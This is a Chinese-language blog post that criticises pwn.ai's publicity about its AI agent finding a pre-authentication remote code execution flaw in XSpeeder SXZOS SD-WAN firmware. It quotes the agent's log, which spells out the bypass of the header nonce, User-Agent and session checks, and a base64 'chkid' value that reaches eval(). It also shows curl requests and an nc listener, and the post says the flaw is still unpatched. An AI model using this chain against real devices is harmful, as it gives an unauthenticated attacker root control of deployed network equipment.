最近刷到一篇文章，讲一个网络安全机构pwn.ai利用自家产品智能体挖到满分的RCE漏洞，这不一下子击中本菜的G点，跳起床板都要去学习一番。

结果大失所望，pwn.ai的AI智能体实际表现差强人意，这种简单的上下文，我觉得丢给cursor自动审计效果都比这个快很多。搞一个如此浮夸的文章再配上一个如此简单的漏洞，实属雅俗共赏了，目前营销AI概念的风已经吹遍了各行各业，在这种群魔乱舞的时代，技术从业者要时刻保持清醒的认知，准确把握技术前进方向。

正文学习

本次受害者：某XSD是一家中国网络设备供应商，以路由器、SD-WAN设备和智能电视控制器等边缘设备而闻名。其核心固件SXZOS为一系列SD-WAN设备提供支持，这些设备尤其广泛应用于远程工业和分支机构环境。

我们交给pwn.ai的任务是： 自主模拟该设备，识别其攻击面，并尝试实现完整的、未经身份验证的远程命令执行。

它迅速识别出一个完整的预身份验证远程代码执行入口点，并告知我们它找到了入侵途径。

我们选择它作为首个披露的漏洞，是因为与其他厂商不同，尽管我们联系XSpeeder超过七个月，却始终未能收到任何回复。因此，截至本文发布之时，这仍然是一个零日漏洞。

据我们所知，这是第一个被公开的、由代理发现的、可远程利用的零日远程代码执行漏洞。

下方展示了我们的代理集群如何协同工作以达成此结果。它们基于我们自主研发并不断改进的架构运行，该架构融合了我们数十年的黑客经验。

由于用于发现此漏洞的架构已运行超过十个月，我们的平台已进行了重大升级，显著提升了漏洞检测和利用能力。

00:00:00] TASK : Find pre-auth code execution in SXZOS web UI[00:00:00] CONTEXT : Firmware ISO available; explore offline, then validate in live VM  
pwn.ai 思路 → 从离线开始。与盲目模糊测试相比，对固件的分析更有效：它能揭示路由逻辑、认证逻辑和"下沉点"（可能是可被攻击的代码入口）——特别是在那些将Python框架胶水代码与定制逻辑混合的嵌入式用户界面中。

设置和图像挂载

[00:02:11] ACTION : Install ISO in VirtualBox → first boot completes provisioning → clean shutdown[00:03:02] ACTION : Load NBD and attach the VDI to /dev/nbd0[00:03:02] RUN : modprobe nbd max_part=16[00:03:05] RUN : qemu-nbd -c /dev/nbd0 "/home/user/VirtualBox VMs/Xspeeder/Xspeeder.vdi"[00:03:09] ACTION : Identify partitions[00:03:09] RUN : lsblk -f /dev/nbd0[00:03:10] OUTPUT :NAME   FSTYPEnbd0├─p1   ext4└─p2   ext4  
[00:03:15] ACTION : Mount root filesystem[00:03:15] RUN : mount /dev/nbd0p2 /mnt && cd /mnt  
pwn.ai 思路 → 当前目标：识别Web堆栈的指纹（包括框架、配置和URL映射）。并向协同器（orchestrator）请求下一步指令…

文件系统侦察 → Django应用

[00:04:02] ACTION : Enumerate app roots[00:04:02] RUN : ls -la /[00:04:04] OBS : /xspeeder present[00:04:10] RUN : ls -la /xspeeder/xweb[00:04:11] OBS : manage.py, xweb/, xapp/[00:04:16] RUN : sed -n '1,50p' /xspeeder/xweb/manage.py[00:04:17] OUTPUT :#!/usr/bin/env pythonimport os, sysif __name__ == "__main__":    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xweb.settings")    from django.core.management import execute_from_command_line    execute_from_command_line(sys.argv)......pwn.ai 思路 → 已确认是Django框架。下一步：检查settings.py中的INSTALLED_APPS和ROOT_URLCONF配置。然后查看urls.py以识别未认证访问的入口点（pre-auth surfaces）。

设置和URL路由 → 身份验证前界面

[00:04:29] RUN : sed -n '1,200p' /xspeeder/xweb/xweb/settings.py | egrep -n 'INSTALLED_APPS|ROOT_URLCONF|MIDDLEWARE'[00:04:30] OUTPUT :INSTALLED_APPS = (# 'django.contrib.admin',# 'django.contrib.auth',# 'django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','xapp',)MIDDLEWARE = (  'xweb.middlewares.GateKeeper',  'django.contrib.sessions.middleware.SessionMiddleware',  ...)ROOT_URLCONF = 'xweb.urls'  
[00:04:41] RUN : sed -n '1,160p' /xspeeder/xweb/xweb/urls.py[00:04:42] OUTPUT :urlpatterns = [   url(r'^$','xapp.vLogin.index'),   url(r'^webInfos/$','xapp.vLogin.webInfos'),   url(r'^default/$','xapp.views.default'),   ...]  
pwn.ai 思路 → 存在中间件（middleware）和自定义路由。在我们甚至还没到达主页面（index）之前，请求就会先经过一个GateKeeper层。Suggestor认为：可能会有反机器人检测/头部检查或浅层的载荷扫描。

迷惑层与可达性障碍

[00:04:45] RUN : sed -n '1,220p' /xspeeder/xweb/xweb/middlewares.py[00:04:47] OUTPUT :class GateKeeper(object):    def process_request(self, request):        # Soft anti-bot: time-slice nonce header        nonce = str(int(time.time()/60) % 7)        if request.META.get('HTTP_X_SXZ_R') != nonce:            return HttpResponseForbidden()        # Session "warm-up" required        if not request.session.get('sid'):            return HttpResponseRedirect('/default/')        # Cosmetic payload scan (pre-decode)        if 'system' in request.GET.get('chkid', ''):            return HttpResponseBadRequest("blocked")        return None

00:04:48] OBS : Three gates before index: a rotating header, a session bit, and a naive string scan on encoded data.  
pwn.ai 思路 → 好消息。Suggestor（建议模块）反馈没有发现严重阻碍因素。字符串扫描会在Base64解码之前去识别系统；它可能甚至不会真正看到载荷内容。另外两个（检查点/条件）可以很容易满足，而无需触碰易受攻击视图中那三个参数的约束条件。  
[00:04:50] RUN : sed -n '1,160p' /etc/nginx/sites-available/sxzweb.conf[00:04:51] OUTPUT :location / {  if ($http_user_agent !~* SXZ) { return 403; }  try_files $uri @django;}  
[00:04:52] OBS : Nginx UA gate → simple header spoof.[00:04:54] PLAN : Precompute header nonce; prime session via a harmless endpoint; set SXZ-like UA. [00:04:54] All of these use headers/cookies, so the vulnerable view can still see exactly 3 query params.[00:04:56] RUN : export HX=$(python - <<'PY' import time; print(int(time.time()//60)%7) PY ) && echo $HX[00:04:58] RUN : curl -skI -A 'SXZ/2.3 (Linux; rv:88.0)' -H "X-SXZ-R: $HX" https://TARGET_IP/webInfos/[00:04:59] OUTPUT :HTTP/1.1 200 OKSet-Cookie: sessionid=abc123...; Path=/; HttpOnly...  
[00:05:00] OBS : Session warmed; cookie captured.

易受攻击的视图发现

[00:05:05] RUN : sed -n '1,220p' /xspeeder/xweb/xapp/vLogin.py[00:05:06] OUTPUT : (truncated)[00:05:08] RUN : nl -ba /xspeeder/xweb/xapp/vLogin.py | sed -n '1,200p'[00:05:10] GREP : wide sink sweep (eval, exec, compile, pickle, yaml.load, os.system, subprocess, b64decode, json.loads…)[00:05:10] RUN : egrep -RIn --color \-e 'eval(|exec(|compile(' \-e 'pickle.loads|marshal.loads|yaml.load' \-e 'os.system|popen|subprocess' \-e 'b64decode|json.loads|ast.literal_eval' \/xspeeder/xweb/xapp/[00:05:11] OUTPUT :18: hData    = request.GET34: if len(hData) == 3:35:   if 'chkid' in hData:36:     chkid = hData['chkid']37:     infos = b64decode(chkid)38:     if 'sUserCode' in infos and 'sPwd' in infos:39:       dic = eval(infos)  
pwn.ai 思路 → 发现了一个可利用的"下沉点"（exploitable sink）。需要正好三个查询参数；对其中内容进行Base64解码；包含子串判断逻辑（substring oracle）；并使用eval()执行 —— 该漏洞在未认证（pre-auth）的情况下触发 —— 并很可能以root权限运行。

[00:05:40] PLAN : Keep query params at 3 (title, oIp, chkid). Satisfy middleware using headers/cookie only:User-Agent: SXZ/2.3 ...X-SXZ-R: <minute_nonce>Cookie: sessionid=abc123...Append #sUserCodexsPwd to decoded payload to pass the substring gate.[00:05:45] ACTION : Base64-encode the crafted string for chkid[00:05:46] OUTPUT :  
pwn.ai 思路 → 一切看起来都可达且应该可以利用。正在测试中。

监听器与阴性对照

[00:06:02] ACTION : Start OOB sink to observe side-effects (listener)[00:06:02] RUN : nc -lv 8888[00:06:09] NEG-CTRL : Send request with 2 params only (expect gate fail)[00:06:09] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=A&chkid=AAAA'[00:06:10] OBS : No OOB activity → Gate A enforced[00:06:18] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=A&oIp=B&chkid=YmFkX2RhdGE='[00:06:19] OBS : No OOB activity → Gate B enforced[00:06:27] ACTION : Fire exploit meeting all gates[00:06:27] RUN : curl -sk -A 'SXZ/2.3 (Linux)' -H "X-SXZ-R: $HX" -b 'sessionid=abc123''https://TARGET_IP/?title=ABC&oIp=XYZ&chkid='[00:06:28] LISTENER : inbound connection from TARGET_IP[00:06:28] LISTENER : payload result received (redacted)[00:06:28] STATUS : RCE confirmed; privilege = root; pre-auth; single HTTP GET  
pwn.ai 思路 → 深度防御看起来很表面。那些"关卡"要求使用一个按分钟计算同步的请求头和预热过的会话Cookie —— 但因为它们只存在于中间件和Nginx层，并不改变易受攻击视图本身的要求，所以我们仍然能够成功获得远程代码执行（RCE）。

漏洞点评

整个观感看下来就是大众常说的审计挖洞短平快三步曲：1.找路由2.看鉴权3.RCE Sink点，一般来说比较高级的漏洞会出现在第二点绕过鉴权复杂性上，毕竟如何把一个PreAuth的功能点利用成漏洞相比于简单鉴权绕过更有技术视觉冲击性。

当然我觉得Pwn.ai智能体的亮点在于能够实现流水线生产出审计脚本小子最爱的RCE漏洞（但文章风向不知道是不是我理解有误不，反而觉得是在说挖掘到很高级的漏洞），这是打算把审计脚本小子的饭碗给砸了，但是从我对pwn.ai的一些公开了解来看，其在X上2022年开始活跃。

甚至以前还运营了一些博客，查看它以前一些原创漏洞文章，确实没发现有什么特别惊艳人的地方。

所以真的有pwn.ai官网所说的具备应用落地实战性么？看官网，目前一切都是waitlist，还没有正式对公众开放，blog也只有一篇文章，相比xbow来说，pwn.ai我觉得真的是差了不少档次。

至少，作为一个技术比较菜的技术从业人员，先不论智能体的水平如何，单是看漏洞文章，都很容易感知到两个竞品的漏洞文章作者对于漏洞理解以及对AI意图的把握程度差距到底在哪。

最后，我想说，7个月未修漏洞的某受害者，你到底是不是倒闭了呢？还是说，网络安全法里面的条条框框，你们找到背锅侠了么？